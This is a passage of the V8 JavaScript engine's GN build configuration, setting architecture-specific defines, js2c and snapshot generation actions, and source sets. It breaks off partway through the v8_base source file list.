\"CAN_USE_FPU_INSTRUCTIONS\",\n      ]\n    } else {\n      defines += [ \"__mips_soft_float=1\" ]\n    }\n    if (mips_arch_variant == \"r6\") {\n      defines += [\n        \"_MIPS_ARCH_MIPS32R6\",\n        \"FPU_MODE_FP64\",\n      ]\n    } else if (mips_arch_variant == \"r2\") {\n      defines += [ \"_MIPS_ARCH_MIPS32R2\" ]\n      if (mips_fpu_mode == \"fp64\") {\n        defines += [ \"FPU_MODE_FP64\" ]\n      } else if (mips_fpu_mode == \"fpxx\") {\n        defines += [ \"FPU_MODE_FPXX\" ]\n      } else if (mips_fpu_mode == \"fp32\") {\n        defines += [ \"FPU_MODE_FP32\" ]\n      }\n    } else if (mips_arch_variant == \"r1\") {\n      defines += [ \"FPU_MODE_FP32\" ]\n    }\n\n    # TODO(jochen): Add support for mips_arch_variant rx and loongson.\n  }\n\n  # TODO(jochen): Add support for mips64.\n  if (v8_current_cpu == \"mips64el\") {\n    defines += [ \"V8_TARGET_ARCH_MIPS64\" ]\n    if (v8_can_use_fpu_instructions) {\n      defines += [ \"CAN_USE_FPU_INSTRUCTIONS\" ]\n    }\n\n    # TODO(jochen): Add support for big endian host byteorder.\n    defines += [ \"V8_TARGET_ARCH_MIPS64_LE\" ]\n    if (v8_use_mips_abi_hardfloat) {\n      defines += [\n        \"__mips_hard_float=1\",\n        \"CAN_USE_FPU_INSTRUCTIONS\",\n      ]\n    } else {\n      defines += [ \"__mips_soft_float=1\" ]\n    }\n    if (mips_arch_variant == \"r6\") {\n      defines += [ \"_MIPS_ARCH_MIPS64R6\" ]\n    } else if (mips_arch_variant == \"r2\") {\n      defines += [ \"_MIPS_ARCH_MIPS64R2\" ]\n    }\n  }\n  if (v8_current_cpu == \"s390\" || v8_current_cpu == \"s390x\") {\n    defines += [ \"V8_TARGET_ARCH_S390\" ]\n    if (v8_current_cpu == \"s390x\") {\n      defines += [ \"V8_TARGET_ARCH_S390X\" ]\n    }\n    if (host_cpu == \"x64\" || host_cpu == \"x86\") {\n      defines += [ \"V8_TARGET_ARCH_S390_LE_SIM\" ]\n    }\n  }\n  if (v8_current_cpu == \"x86\") {\n    defines += [ \"V8_TARGET_ARCH_IA32\" ]\n    if (is_win) {\n      # Ensure no surprising artifacts from 80bit double math with x86.\n      cflags += [ \"/arch:SSE2\" ]\n    }\n  }\n  if (v8_current_cpu == \"x64\") {\n    defines += [ \"V8_TARGET_ARCH_X64\" ]\n    if (is_win) {\n      # Increase the initial stack size. The default is 1MB, this is 2MB. This\n      # applies only to executables and shared libraries produced by V8 since\n      # ldflags are not pushed to dependants.\n      ldflags += [ \"/STACK:2097152\" ]\n    }\n  }\n  if (is_android && v8_android_log_stdout) {\n    defines += [ \"V8_ANDROID_LOG_STDOUT\" ]\n  }\n\n  # TODO(jochen): Support v8_enable_prof on Windows.\n  # TODO(jochen): Add support for compiling with simulators.\n\n  if (is_debug) {\n    if (is_linux && v8_enable_backtrace) {\n      ldflags += [ \"-rdynamic\" ]\n    }\n\n    # TODO(jochen): Add support for different debug optimization levels.\n    defines += [\n      \"ENABLE_DISASSEMBLER\",\n      \"V8_ENABLE_CHECKS\",\n      \"OBJECT_PRINT\",\n      \"VERIFY_HEAP\",\n      \"DEBUG\",\n      \"TRACE_MAPS\",\n    ]\n    if (v8_enable_slow_dchecks) {\n      defines += [ \"ENABLE_SLOW_DCHECKS\" ]\n    }\n  } else if (dcheck_always_on) {\n    defines += [ \"DEBUG\" ]\n  }\n}\n\n###############################################################################\n# Actions\n#\n\naction(\"js2c\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  script = \"tools/js2c.py\"\n\n  # The script depends on this other script, this rule causes a rebuild if it\n  # changes.\n  inputs = [\n    \"tools/jsmin.py\",\n  ]\n\n  # NOSORT\n  sources = [\n    \"src/js/macros.py\",\n    \"src/messages.h\",\n    \"src/js/prologue.js\",\n    \"src/js/runtime.js\",\n    \"src/js/v8natives.js\",\n    \"src/js/symbol.js\",\n    \"src/js/array.js\",\n    \"src/js/string.js\",\n    \"src/js/math.js\",\n    \"src/js/regexp.js\",\n    \"src/js/arraybuffer.js\",\n    \"src/js/typedarray.js\",\n    \"src/js/iterator-prototype.js\",\n    \"src/js/collection.js\",\n    \"src/js/weak-collection.js\",\n    \"src/js/collection-iterator.js\",\n    \"src/js/promise.js\",\n    \"src/js/messages.js\",\n    \"src/js/array-iterator.js\",\n    \"src/js/string-iterator.js\",\n    \"src/js/templates.js\",\n    \"src/js/spread.js\",\n    \"src/js/proxy.js\",\n    \"src/debug/mirrors.js\",\n    \"src/debug/debug.js\",\n    \"src/debug/liveedit.js\",\n  ]\n\n  outputs = [\n    \"$target_gen_dir/libraries.cc\",\n  ]\n\n  if (v8_enable_i18n_support) {\n    sources += [ \"src/js/i18n.js\" ]\n  }\n\n  args = [\n           rebase_path(\"$target_gen_dir/libraries.cc\", root_build_dir),\n           \"CORE\",\n         ] + rebase_path(sources, root_build_dir)\n\n  if (v8_use_external_startup_data) {\n    outputs += [ \"$target_gen_dir/libraries.bin\" ]\n    args += [\n      \"--startup_blob\",\n      rebase_path(\"$target_gen_dir/libraries.bin\", root_build_dir),\n    ]\n  }\n}\n\naction(\"js2c_experimental\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  script = \"tools/js2c.py\"\n\n  # The script depends on this other script, this rule causes a rebuild if it\n  # changes.\n  inputs = [\n    \"tools/jsmin.py\",\n  ]\n\n  # NOSORT\n  sources = [\n    \"src/js/macros.py\",\n    \"src/messages.h\",\n    \"src/js/harmony-async-await.js\",\n    \"src/js/harmony-atomics.js\",\n    \"src/js/harmony-simd.js\",\n    \"src/js/harmony-string-padding.js\",\n  ]\n\n  outputs = [\n    \"$target_gen_dir/experimental-libraries.cc\",\n  ]\n\n  if (v8_enable_i18n_support) {\n    sources += [\n      \"src/js/icu-case-mapping.js\",\n      \"src/js/intl-extra.js\",\n    ]\n  }\n\n  args = [\n           rebase_path(\"$target_gen_dir/experimental-libraries.cc\",\n                       root_build_dir),\n           \"EXPERIMENTAL\",\n         ] + rebase_path(sources, root_build_dir)\n\n  if (v8_use_external_startup_data) {\n    outputs += [ \"$target_gen_dir/libraries_experimental.bin\" ]\n    args += [\n      \"--startup_blob\",\n      rebase_path(\"$target_gen_dir/libraries_experimental.bin\", root_build_dir),\n    ]\n  }\n}\n\naction(\"js2c_extras\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  script = \"tools/js2c.py\"\n\n  # The script depends on this other script, this rule causes a rebuild if it\n  # changes.\n  inputs = [\n    \"tools/jsmin.py\",\n  ]\n\n  sources = v8_extra_library_files\n\n  outputs = [\n    \"$target_gen_dir/extras-libraries.cc\",\n  ]\n\n  args = [\n           rebase_path(\"$target_gen_dir/extras-libraries.cc\", root_build_dir),\n           \"EXTRAS\",\n         ] + rebase_path(sources, root_build_dir)\n\n  if (v8_use_external_startup_data) {\n    outputs += [ \"$target_gen_dir/libraries_extras.bin\" ]\n    args += [\n      \"--startup_blob\",\n      rebase_path(\"$target_gen_dir/libraries_extras.bin\", root_build_dir),\n    ]\n  }\n}\n\naction(\"js2c_experimental_extras\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  script = \"tools/js2c.py\"\n\n  # The script depends on this other script, this rule causes a rebuild if it\n  # changes.\n  inputs = [\n    \"tools/jsmin.py\",\n  ]\n\n  sources = v8_experimental_extra_library_files\n\n  outputs = [\n    \"$target_gen_dir/experimental-extras-libraries.cc\",\n  ]\n\n  args = [\n           rebase_path(\"$target_gen_dir/experimental-extras-libraries.cc\",\n                       root_build_dir),\n           \"EXPERIMENTAL_EXTRAS\",\n         ] + rebase_path(sources, root_build_dir)\n\n  if (v8_use_external_startup_data) {\n    outputs += [ \"$target_gen_dir/libraries_experimental_extras.bin\" ]\n    args += [\n      \"--startup_blob\",\n      rebase_path(\"$target_gen_dir/libraries_experimental_extras.bin\",\n                  root_build_dir),\n    ]\n  }\n}\n\naction(\"d8_js2c\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  script = \"tools/js2c.py\"\n\n  # NOSORT\n  inputs = [\n    \"src/d8.js\",\n    \"src/js/macros.py\",\n  ]\n\n  outputs = [\n    \"$target_gen_dir/d8-js.cc\",\n  ]\n\n  args = rebase_path(outputs, root_build_dir) + [ \"D8\" ] +\n         rebase_path(inputs, root_build_dir)\n}\n\nif (is_android && enable_java_templates) {\n  android_assets(\"v8_external_startup_data_assets\") {\n    if (v8_use_external_startup_data) {\n      deps = [\n        \"//v8\",\n      ]\n      sources = [\n        \"$root_out_dir/natives_blob.bin\",\n      ]\n      renaming_sources = [ \"$root_out_dir/snapshot_blob.bin\" ]\n      if (current_cpu == \"arm\" || current_cpu == \"x86\" ||\n          current_cpu == \"mipsel\") {\n        renaming_destinations = [ \"snapshot_blob_32.bin\" ]\n      } else {\n        renaming_destinations = [ \"snapshot_blob_64.bin\" ]\n      }\n      disable_compression = true\n    }\n  }\n}\n\nif (v8_use_external_startup_data) {\n  action(\"natives_blob\") {\n    visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n    deps = [\n      \":js2c\",\n      \":js2c_experimental\",\n      \":js2c_experimental_extras\",\n      \":js2c_extras\",\n    ]\n\n    # NOSORT\n    sources = [\n      \"$target_gen_dir/libraries.bin\",\n      \"$target_gen_dir/libraries_experimental.bin\",\n      \"$target_gen_dir/libraries_extras.bin\",\n      \"$target_gen_dir/libraries_experimental_extras.bin\",\n    ]\n\n    outputs = [\n      \"$root_out_dir/natives_blob.bin\",\n    ]\n\n    script = \"tools/concatenate-files.py\"\n\n    args = rebase_path(sources + outputs, root_build_dir)\n  }\n}\n\naction(\"postmortem-metadata\") {\n  # Only targets in this file and the top-level visibility target can\n  # depend on this.\n  visibility = [\n    \":*\",\n    \"//:gn_visibility\",\n  ]\n\n  script = \"tools/gen-postmortem-metadata.py\"\n\n  # NOSORT\n  sources = [\n    \"src/objects.h\",\n    \"src/objects-inl.h\",\n  ]\n\n  outputs = [\n    \"$target_gen_dir/debug-support.cc\",\n  ]\n\n  args = rebase_path(outputs, root_build_dir) +\n         rebase_path(sources, root_build_dir)\n}\n\naction(\"run_mksnapshot\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  deps = [\n    \":mksnapshot($v8_snapshot_toolchain)\",\n  ]\n\n  script = \"tools/run.py\"\n\n  sources = []\n\n  outputs = [\n    \"$target_gen_dir/snapshot.cc\",\n  ]\n\n  args = [\n    \"./\" + rebase_path(get_label_info(\":mksnapshot($v8_snapshot_toolchain)\",\n                                      \"root_out_dir\") + \"/mksnapshot\",\n                       root_build_dir),\n    \"--startup_src\",\n    rebase_path(\"$target_gen_dir/snapshot.cc\", root_build_dir),\n  ]\n\n  if (v8_random_seed != \"0\") {\n    args += [\n      \"--random-seed\",\n      v8_random_seed,\n    ]\n  }\n\n  if (v8_use_external_startup_data) {\n    outputs += [ \"$root_out_dir/snapshot_blob.bin\" ]\n    args += [\n      \"--startup_blob\",\n      rebase_path(\"$root_out_dir/snapshot_blob.bin\", root_build_dir),\n    ]\n  }\n\n  if (v8_embed_script != \"\") {\n    sources += [ v8_embed_script ]\n    args += [ rebase_path(v8_embed_script, root_build_dir) ]\n  }\n}\n\naction(\"run_mkpeephole\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  deps = [\n    \":mkpeephole($v8_snapshot_toolchain)\",\n  ]\n\n  outputs = [\n    v8_generated_peephole_source,\n  ]\n\n  sources = []\n\n  script = \"tools/run.py\"\n\n  args = [\n    \"./\" + rebase_path(get_label_info(\":mkpeephole($v8_snapshot_toolchain)\",\n                                      \"root_out_dir\") + \"/mkpeephole\",\n                       root_build_dir),\n    rebase_path(v8_generated_peephole_source, root_build_dir),\n  ]\n}\n\naction(\"v8_dump_build_config\") {\n  script = \"tools/testrunner/utils/dump_build_config.py\"\n  outputs = [\n    \"$root_out_dir/v8_build_config.json\",\n  ]\n  args = [\n    rebase_path(\"$root_out_dir/v8_build_config.json\", root_build_dir),\n    \"dcheck_always_on=$dcheck_always_on\",\n    \"is_asan=$is_asan\",\n    \"is_cfi=$is_cfi\",\n    \"is_component_build=$is_component_build\",\n    \"is_debug=$is_debug\",\n    \"is_msan=$is_msan\",\n    \"is_tsan=$is_tsan\",\n    \"target_cpu=\\\"$target_cpu\\\"\",\n    \"v8_enable_i18n_support=$v8_enable_i18n_support\",\n    \"v8_target_cpu=\\\"$v8_target_cpu\\\"\",\n    \"v8_use_snapshot=$v8_use_snapshot\",\n  ]\n}\n\n###############################################################################\n# Source Sets (aka static libraries)\n#\n\nsource_set(\"v8_maybe_snapshot\") {\n  if (v8_use_snapshot && v8_use_external_startup_data) {\n    public_deps = [\n      \":v8_external_snapshot\",\n    ]\n  } else if (v8_use_snapshot) {\n    public_deps = [\n      \":v8_snapshot\",\n    ]\n  } else {\n    # Ignore v8_use_external_startup_data setting if no snapshot is used.\n    public_deps = [\n      \":v8_nosnapshot\",\n    ]\n  }\n}\n\nv8_source_set(\"v8_nosnapshot\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  deps = [\n    \":js2c\",\n    \":js2c_experimental\",\n    \":js2c_experimental_extras\",\n    \":js2c_extras\",\n    \":v8_base\",\n  ]\n\n  sources = [\n    \"$target_gen_dir/experimental-extras-libraries.cc\",\n    \"$target_gen_dir/experimental-libraries.cc\",\n    \"$target_gen_dir/extras-libraries.cc\",\n    \"$target_gen_dir/libraries.cc\",\n    \"src/snapshot/snapshot-empty.cc\",\n  ]\n\n  configs = [ \":internal_config\" ]\n}\n\nv8_source_set(\"v8_snapshot\") {\n  # Only targets in this file and the top-level visibility target can\n  # depend on this.\n  visibility = [\n    \":*\",\n    \"//:gn_visibility\",\n  ]\n\n  deps = [\n    \":js2c\",\n    \":js2c_experimental\",\n    \":js2c_experimental_extras\",\n    \":js2c_extras\",\n    \":v8_base\",\n  ]\n  public_deps = [\n    # This should be public so downstream targets can declare the snapshot\n    # output file as their inputs.\n    \":run_mksnapshot\",\n  ]\n\n  sources = [\n    \"$target_gen_dir/experimental-extras-libraries.cc\",\n    \"$target_gen_dir/experimental-libraries.cc\",\n    \"$target_gen_dir/extras-libraries.cc\",\n    \"$target_gen_dir/libraries.cc\",\n    \"$target_gen_dir/snapshot.cc\",\n  ]\n\n  configs = [ \":internal_config\" ]\n}\n\nif (v8_use_external_startup_data) {\n  v8_source_set(\"v8_external_snapshot\") {\n    visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n    deps = [\n      \":js2c\",\n      \":js2c_experimental\",\n      \":js2c_experimental_extras\",\n      \":js2c_extras\",\n      \":v8_base\",\n    ]\n    public_deps = [\n      \":natives_blob\",\n      \":run_mksnapshot\",\n    ]\n\n    sources = [\n      \"src/snapshot/natives-external.cc\",\n      \"src/snapshot/snapshot-external.cc\",\n    ]\n\n    configs = [ \":internal_config\" ]\n  }\n}\n\nv8_source_set(\"v8_base\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  sources = [\n    \"//base/trace_event/common/trace_event_common.h\",\n    \"include/v8-debug.h\",\n    \"include/v8-experimental.h\",\n    \"include/v8-platform.h\",\n    \"include/v8-profiler.h\",\n    \"include/v8-testing.h\",\n    \"include/v8-util.h\",\n    \"include/v8-version.h\",\n    \"include/v8.h\",\n    \"include/v8config.h\",\n    \"src/accessors.cc\",\n    \"src/accessors.h\",\n    \"src/address-map.cc\",\n    \"src/address-map.h\",\n    \"src/allocation-site-scopes.cc\",\n    \"src/allocation-site-scopes.h\",\n    \"src/allocation.cc\",\n    \"src/allocation.h\",\n    \"src/api-arguments-inl.h\",\n    \"src/api-arguments.cc\",\n    \"src/api-arguments.h\",\n    \"src/api-experimental.cc\",\n    \"src/api-experimental.h\",\n    \"src/api-natives.cc\",\n    \"src/api-natives.h\",\n    \"src/api.cc\",\n    \"src/api.h\",\n    \"src/arguments.cc\",\n    \"src/arguments.h\",\n    \"src/asmjs/asm-js.cc\",\n    \"src/asmjs/asm-js.h\",\n    \"src/asmjs/asm-typer.cc\",\n    \"src/asmjs/asm-typer.h\",\n    \"src/asmjs/asm-types.cc\",\n    \"src/asmjs/asm-types.h\",\n    \"src/asmjs/asm-wasm-builder.cc\",\n    \"src/asmjs/asm-wasm-builder.h\",\n    \"src/assembler.cc\",\n    \"src/assembler.h\",\n    \"src/assert-scope.cc\",\n    \"src/assert-scope.h\",\n    \"src/ast/ast-expression-rewriter.cc\",\n    \"src/ast/ast-expression-rewriter.h\",\n    \"src/ast/ast-literal-reindexer.cc\",\n    \"src/ast/ast-literal-reindexer.h\",\n    \"src/ast/ast-numbering.cc\",\n    \"src/ast/ast-numbering.h\",\n    \"src/ast/ast-traversal-visitor.h\",\n    \"src/ast/ast-type-bounds.h\",\n    \"src/ast/ast-value-factory.cc\",\n    \"src/ast/ast-value-factory.h\",\n    \"src/ast/ast.cc\",\n    \"src/ast/ast.h\",\n    \"src/ast/context-slot-cache.cc\",\n    \"src/ast/context-slot-cache.h\",\n    \"src/ast/modules.cc\",\n    \"src/ast/modules.h\",\n    \"src/ast/prettyprinter.cc\",\n    \"src/ast/prettyprinter.h\",\n    \"src/ast/scopeinfo.cc\",\n    \"src/ast/scopeinfo.h\",\n    \"src/ast/scopes.cc\",\n    \"src/ast/scopes.h\",\n    \"src/ast/variables.cc\",\n    \"src/ast/variables.h\",\n    \"src/background-parsing-task.cc\",\n    \"src/background-parsing-task.h\",\n    \"src/bailout-reason.cc\",\n    \"src/bailout-reason.h\",\n    \"src/basic-block-profiler.cc\",\n    \"src/basic-block-profiler.h\",\n    \"src/bignum-dtoa.cc\",\n    \"src/bignum-dtoa.h\",\n    \"src/bignum.cc\",\n    \"src/bignum.h\",\n    \"src/bit-vector.cc\",\n    \"src/bit-vector.h\",\n    \"src/bootstrapper.cc\",\n    \"src/bootstrapper.h\",\n    \"src/builtins/builtins-api.cc\",\n    \"src/builtins/builtins-array.cc\",\n    \"src/builtins/builtins-arraybuffer.cc\",\n    \"src/builtins/builtins-boolean.cc\",\n    \"src/builtins/builtins-call.cc\",\n    \"src/builtins/builtins-callsite.cc\",\n    \"src/builtins/builtins-conversion.cc\",\n    \"src/builtins/builtins-dataview.cc\",\n    \"src/builtins/builtins-date.cc\",\n    \"src/builtins/builtins-debug.cc\",\n    \"src/builtins/builtins-error.cc\",\n    \"src/builtins/builtins-function.cc\",\n    \"src/builtins/builtins-generator.cc\",\n    \"src/builtins/builtins-global.cc\",\n    \"src/builtins/builtins-handler.cc\",\n    \"src/builtins/builtins-internal.cc\",\n    \"src/builtins/builtins-interpreter.cc\",\n    \"src/builtins/builtins-json.cc\",\n    \"src/builtins/builtins-math.cc\",\n    \"src/builtins/builtins-number.cc\",\n    \"src/builtins/builtins-object.cc\",\n    \"src/builtins/builtins-proxy.cc\",\n    \"src/builtins/builtins-reflect.cc\",\n    \"src/builtins/builtins-sharedarraybuffer.cc\",\n    \"src/builtins/builtins-string.cc\",\n    \"src/builtins/builtins-symbol.cc\",\n    \"src/builtins/builtins-typedarray.cc\",\n    \"src/builtins/builtins-utils.h\",\n    \"src/builtins/builtins.cc\",\n    \"src/builtins/builtins.h\",\n    \"src/cached-powers.cc\",\n    \"src/cached-powers.h\",\n    \"src/cancelable-task.cc\",\n    \"src/cancelable-task.h\",\n    \"src/char-predicates-inl.h\",\n    \"src/char-predicates.cc\",\n    \"src/char-predicates.h\",\n    \"src/checks.h\",\n    \"src/code-events.h\",\n    \"src/code-factory.cc\",\n    \"src/code-factory.h\",\n    \"src/code-stub-assembler.cc\",\n    \"src/code-stub-assembler.h\",\n    \"src/code-stubs-hydrogen.cc\",\n    \"src/code-stubs.cc\",\n    \"src/code-stubs.h\",\n    \"src/codegen.cc\",\n    \"src/codegen.h\",\n    \"src/collector.h\",\n    \"src/compilation-cache.cc\",\n    \"src/compilation-cache.h\",\n    \"src/compilation-dependencies.cc\",\n    \"src/compilation-dependencies.h\",\n    \"src/compilation-statistics.cc\",\n    \"src/compilation-statistics.h\",\n    \"src/compiler-dispatcher/compiler-dispatcher-job.cc\",\n    \"src/compiler-dispatcher/compiler-dispatcher-job.h\",\n    \"src/compiler-dispatcher/optimizing-compile-dispatcher.cc\",\n    \"src/compiler-dispatcher/optimizing-compile-dispatcher.h\",\n    \"src/compiler.cc\",\n    \"src/compiler.h\",\n    \"src/compiler/access-builder.cc\",\n    \"src/compiler/access-builder.h\",\n    \"src/compiler/access-info.cc\",\n    \"src/compiler/access-info.h\",\n    \"src/compiler/all-nodes.cc\",\n    \"src/compiler/all-nodes.h\",\n    \"src/compiler/ast-graph-builder.cc\",\n    \"src/compiler/ast-graph-builder.h\",\n    \"src/compiler/ast-loop-assignment-analyzer.cc\",\n    \"src/compiler/ast-loop-assignment-analyzer.h\",\n    \"src/compiler/basic-block-instrumentor.cc\",\n    \"src/compiler/basic-block-instrumentor.h\",\n    \"src/compiler/branch-elimination.cc\",\n    \"src/compiler/branch-elimination.h\",\n    \"src/compiler/bytecode-branch-analysis.cc\",\n    \"src/compiler/bytecode-branch-analysis.h\",\n    \"src/compiler/bytecode-graph-builder.cc\",\n    \"src/compiler/bytecode-graph-builder.h\",\n    \"src/compiler/bytecode-loop-analysis.cc\",\n    \"src/compiler/bytecode-loop-analysis.h\",\n    \"src/compiler/c-linkage.cc\",\n    \"src/compiler/checkpoint-elimination.cc\",\n    \"src/compiler/checkpoint-elimination.h\",\n    \"src/compiler/code-assembler.cc\",\n    \"src/compiler/code-assembler.h\",\n    \"src/compiler/code-generator-impl.h\",\n    \"src/compiler/code-generator.cc\",\n    \"src/compiler/code-generator.h\",\n    \"src/compiler/common-node-cache.cc\",\n    \"src/compiler/common-node-cache.h\",\n    \"src/compiler/common-operator-reducer.cc\",\n    \"src/compiler/common-operator-reducer.h\",\n    \"src/compiler/common-operator.cc\",\n    \"src/compiler/common-operator.h\",\n    \"src/compiler/control-builders.cc\",\n    \"src/compiler/control-builders.h\",\n    \"src/compiler/control-equivalence.cc\",\n    \"src/compiler/control-equivalence.h\",\n    \"src/compiler/control-flow-optimizer.cc\",\n    \"src/compiler/control-flow-optimizer.h\",\n    \"src/compiler/dead-code-elimination.cc\",\n    \"src/compiler/dead-code-elimination.h\",\n    \"src/compiler/diamond.h\",\n    \"src/compiler/effect-control-linearizer.cc\",\n    \"src/compiler/effect-control-linearizer.h\",\n    \"src/compiler/escape-analysis-reducer.cc\",\n    \"src/compiler/escape-analysis-reducer.h\",\n    \"src/compiler/escape-analysis.cc\",\n    \"src/compiler/escape-analysis.h\",\n    \"src/compiler/frame-elider.cc\",\n    \"src/compiler/frame-elider.h\",\n    \"src/compiler/frame-states.cc\",\n    \"src/compiler/frame-states.h\",\n    \"src/compiler/frame.cc\",\n    \"src/compiler/frame.h\",\n    \"src/compiler/gap-resolver.cc\",\n    \"src/compiler/gap-resolver.h\",\n    \"src/compiler/graph-reducer.cc\",\n    \"src/compiler/graph-reducer.h\",\n    \"src/compiler/graph-replay.cc\",\n    \"src/compiler/graph-replay.h\",\n    \"src/compiler/graph-trimmer.cc\",\n    \"src/compiler/graph-trimmer.h\",\n    \"src/compiler/graph-visualizer.cc\",\n    \"src/compiler/graph-visualizer.h\",\n    \"src/compiler/graph.cc\",\n    \"src/compiler/graph.h\",\n    \"src/compiler/instruction-codes.h\",\n    \"src/compiler/instruction-scheduler.cc\",\n    \"src/compiler/instruction-scheduler.h\",\n    \"src/compiler/instruction-selector-impl.h\",\n    \"src/compiler/instruction-selector.cc\",\n    \"src/compiler/instruction-selector.h\",\n    \"src/compiler/instruction.cc\",\n    \"src/compiler/instruction.h\",\n    \"src/compiler/int64-lowering.cc\",\n    \"src/compiler/int64-lowering.h\",\n    \"src/compiler/js-builtin-reducer.cc\",\n    \"src/compiler/js-builtin-reducer.h\",\n    \"src/compiler/js-call-reducer.cc\",\n    \"src/compiler/js-call-reducer.h\",\n    \"src/compiler/js-context-specialization.cc\",\n    \"src/compiler/js-context-specialization.h\",\n    \"src/compiler/js-create-lowering.cc\",\n    \"src/compiler/js-create-lowering.h\",\n    \"src/compiler/js-frame-specialization.cc\",\n    \"src/compiler/js-frame-specialization.h\",\n    \"src/compiler/js-generic-lowering.cc\",\n    \"src/compiler/js-generic-lowering.h\",\n    \"src/compiler/js-global-object-specialization.cc\",\n    \"src/compiler/js-global-object-specialization.h\",\n    \"src/compiler/js-graph.cc\",\n    \"src/compiler/js-graph.h\",\n    \"src/compiler/js-inlining-heuristic.cc\",\n    \"src/compiler/js-inlining-heuristic.h\",\n    \"src/compiler/js-inlining.cc\",\n    \"src/compiler/js-inlining.h\",\n    \"src/compiler/js-intrinsic-lowering.cc\",\n    \"src/compiler/js-intrinsic-lowering.h\",\n    \"src/compiler/js-native-context-specialization.cc\",\n    \"src/compiler/js-native-context-specialization.h\",\n    \"src/compiler/js-operator.cc\",\n    \"src/compiler/js-operator.h\",\n    \"src/compiler/js-typed-lowering.cc\",\n    \"src/compiler/js-typed-lowering.h\",\n    \"src/compiler/jump-threading.cc\",\n    \"src/compiler/jump-threading.h\",\n    \"src/compiler/linkage.cc\",\n    \"src/compiler/linkage.h\",\n    \"src/compiler/live-range-separator.cc\",\n    \"src/compiler/live-range-separator.h\",\n    \"src/compiler/liveness-analyzer.cc\",\n    \"src/compiler/liveness-analyzer.h\",\n    \"src/compiler/load-elimination.cc\",\n    \"src/compiler/load-elimination.h\",\n    \"src/compiler/loop-analysis.cc\",\n    \"src/compiler/loop-analysis.h\",\n    \"src/compiler/loop-peeling.cc\",\n    \"src/compiler/loop-peeling.h\",\n    \"src/compiler/loop-variable-optimizer.cc\",\n    \"src/compiler/loop-variable-optimizer.h\",\n    \"src/compiler/machine-operator-reducer.cc\",\n    \"src/compiler/machine-operator-reducer.h\",\n    \"src/compiler/machine-operator.cc\",\n    \"src/compiler/machine-operator.h\",\n    \"src/compiler/memory-optimizer.cc\",\n    \"src/compiler/memory-optimizer.h\",\n    \"src/compiler/move-optimizer.cc\",\n    \"src/compiler/move-optimizer.h\",\n    \"src/compiler/node-aux-data.h\",\n    \"src/compiler/node-cache.cc\",\n    \"src/compiler/node-cache.h\",\n    \"src/compiler/node-marker.cc\",\n    \"src/compiler/node-marker.h\",\n    \"src/compiler/node-matchers.cc\",\n    \"src/compiler/node-matchers.h\",\n    \"src/compiler/node-properties.cc\",\n    \"src/compiler/node-properties.h\",\n    \"src/compiler/node.cc\",\n    \"src/compiler/node.h\",\n    \"src/compiler/opcodes.cc\",\n    \"src/compiler/opcodes.h\",\n    \"src/compiler/operation-typer.cc\",\n    \"src/compiler/operation-typer.h\",\n    \"src/compiler/operator-properties.cc\",\n    \"src/compiler/operator-properties.h\",\n    \"src/compiler/operator.cc\",\n    \"src/compiler/operator.h\",\n    \"src/compiler/osr.cc\",\n    \"src/compiler/osr.h\",\n    \"src/compiler/pipeline-statistics.cc\",\n    \"src/compiler/pipeline-statistics.h\",\n    \"src/compiler/pipeline.cc\",\n    \"src/compiler/pipeline.h\",\n    \"src/compiler/raw-machine-assembler.cc\",\n    \"src/compiler/raw-machine-assembler.h\",\n    \"src/compiler/redundancy-elimination.cc\",\n    \"src/compiler/redundancy-elimination.h\",\n    \"src/compiler/register-allocator-verifier.cc\",\n    \"src/compiler/register-allocator-verifier.h\",\n    \"src/compiler/register-allocator.cc\",\n    \"src/compiler/register-allocator.h\",\n    \"src/compiler/representation-change.cc\",\n    \"src/compiler/representation-change.h\",\n    \"src/compiler/schedule.cc\",\n    \"src/compiler/schedule.h\",\n    \"src/compiler/scheduler.cc\",\n    \"src/compiler/scheduler.h\",\n    \"src/compiler/select-lowering.cc\",\n    \"src/compiler/select-lowering.h\",\n    \"src/compiler/simplified-lowering.cc\",\n    \"src/compiler/simplified-lowering.h\",\n    \"src/compiler/simplified-operator-reducer.cc\",\n    \"src/compiler/simplified-operator-reducer.h\",\n    \"src/compiler/simplified-operator.cc\",\n    \"src/compiler/simplified-operator.h\",\n    \"src/compiler/source-position.cc\",\n    \"src/compiler/source-position.h\",\n    \"src/compiler/state-values-utils.cc\",\n    \"src/compiler/state-values-utils.h\",\n    \"src/compiler/store-store-elimination.cc\",\n    \"src/compiler/store-store-elimination.h\",\n    \"src/compiler/tail-call-optimization.cc\",\n    \"src/compiler/tail-call-optimization.h\",\n    \"src/compiler/type-hint-analyzer.cc\",\n    \"src/compiler/type-hint-analyzer.h\",\n    \"src/compiler/type-hints.cc\",\n    \"src/compiler/type-hints.h\",\n    \"src/compiler/typer.cc\",\n    \"src/compiler/typer.h\",\n    \"src/compiler/unwinding-info-writer.h\",\n    \"src/compiler/value-numbering-reducer.cc\",\n    \"src/compiler/value-numbering-reducer.h\",\n    \"src/compiler/verifier.cc\",\n    \"src/compiler/verifier.h\",\n    \"src/compiler/wasm-compiler.cc\",\n    \"src/compiler/wasm-compiler.h\",\n    \"src/compiler/wasm-linkage.cc\",\n    \"src/compiler/zone-pool.cc\",\n    \"src/compiler/zone-pool.h\",\n    \"src/context-measure.cc\",\n    \"src/context-measure.h\",\n    \"src/contexts-inl.h\",\n    \"src/contexts.cc\",\n    \"src/contexts.h\",\n    \"src/conversions-inl.h\",\n    \"src/conversions.cc\",\n    \"src/conversions.h\",\n    \"src/counters-inl.h\",\n    \"src/counters.cc\",\n    \"src/counters.h\",\n    \"src/crankshaft/compilation-phase.cc\",\n    \"src/crankshaft/compilation-phase.h\",\n    \"src/crankshaft/hydrogen-alias-analysis.h\",\n    \"src/crankshaft/hydrogen-bce.cc\",\n    \"src/crankshaft/hydrogen-bce.h\",\n    \"src/crankshaft/hydrogen-canonicalize.cc\",\n    